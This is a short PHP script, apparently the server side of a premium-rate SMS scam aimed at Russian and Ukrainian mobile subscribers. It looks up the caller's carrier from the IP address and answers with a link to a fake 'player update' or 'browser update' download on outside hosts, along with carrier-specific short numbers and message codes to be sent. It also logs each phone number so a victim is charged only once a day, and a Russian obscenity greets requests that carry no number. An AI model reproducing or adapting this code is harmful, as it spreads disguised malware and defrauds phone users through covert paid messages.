require_once script php link http file192 com playerupdate 12485 playe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?
require_once 'script.php';
$link = 'http://file192.com/playerupdate/u/12485/playerupdate.auto';
function is_ip($ip) {
return (false===ip2long($ip)) ? false : true;
}
function get_ip() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
if (is_ip($_SERVER['HTTP_X_FORWARDED_FOR']))
return $_SERVER['HTTP_X_FORWARDED_FOR'];
foreach( explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']) as $ip ) {
$ip=trim($ip);
if (is_ip($ip))
return $ip;
}
}
return $_SERVER['REMOTE_ADDR'];
}
$cq = getOperator(get_ip());
function smsRes($link, $numbers){
$data = '';
if(count($numbers) > 0)
foreach($numbers as $k=>$v)
$data .= implode('|', $v).(isset($numbers[$k+1]) ? '*' : '');
return $link.(count($numbers) > 0 ? '*' : '').$data;
}
$UA = array(
array('7910', '2220012485 041 123')
);
$RU = array(
array('6459', '120012485 041 123'),
array('6457', '120012485 041 123'),
array('6457', '120012485 041 123')
);
$UA_LIFE = array();
$RU_TELE2 = array();
if($cq == 'ua_kyivstar'){
$UA_KYIVSTAR = array(
array('9405', '2220012485 041 123'),
array('7910', '2220012485 041 123'),
array('7910', '2220012485 041 123')
);
}
if($cq == 'ru_megafon'){
$RU_MEGAFON = array(
array('6459', '120012485 041 123')
);
}
if($cq == 'ru_mts'){
$link = 'http://viploder.com/2688/UpdateBrowser';
$RU_MTS = array(
array('7781', '69201 2688'),
array('3121', '69201 2688'),
array('1151', '69201 2688')
);
}
if(!isset($_GET['number']))
die("Нахуй пошёл, пёс!");
preg_match('/(\d+)/', $_GET['number'], $number);
$number = $number[1];
if(is_file('Kouki.txt'))
$f = file_get_contents('Kouki.txt');
else
$f = '';
if(preg_match('/'.$number.'/i', $f)){
preg_match('/'.$number.' time\:(\d+)/i', $f, $time);
$time = $time[1];
}else
$time = 0;
if(time() - intval($time) > 24 * 60 * 60){
if($cq == 'ru_megafon')
echo smsRes($link, $RU_MEGAFON);
elseif($cq == 'ru_mts')
echo smsRes($link, $RU_MTS);
elseif($cq == 'ru_tele2')
echo smsRes($link, $RU_TELE2);
elseif($cq == 'ua_kyivstar')
echo smsRes($link, $UA_KYIVSTAR);
elseif($cq == 'ua_life')
echo smsRes($link, $UA_LIFE);
elseif(preg_match('/^ua/', $cq))
echo smsRes($link, $UA);
elseif(preg_match('/^ru/', $cq))
echo smsRes($link, $RU);
$fp = fopen('Kouki.txt', 'a+');
fwrite($fp, "$number time:" . time()."\n");
}else
echo $link;
?>